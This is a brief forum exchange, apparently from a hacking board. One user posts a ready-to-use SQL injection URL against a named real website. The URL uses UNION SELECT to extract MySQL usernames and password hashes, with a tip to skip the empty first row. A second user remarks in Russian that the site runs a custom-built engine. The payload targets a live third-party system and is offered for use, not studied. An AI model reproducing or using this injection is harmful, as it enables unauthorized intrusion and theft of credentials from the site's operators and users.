@AHMED HASSAN
the first record in the mysql.user table is empty, so start with the second one:
http://www.fcmetz.com/voir.php?id=-5036%20union%20select%201,2,3,4,5,concat(user,0x3a ,password),7,8,9,10,11,12%20,13%20from%20mysql.use r+limit+1,1

@zannussi
похоже на самописный двиг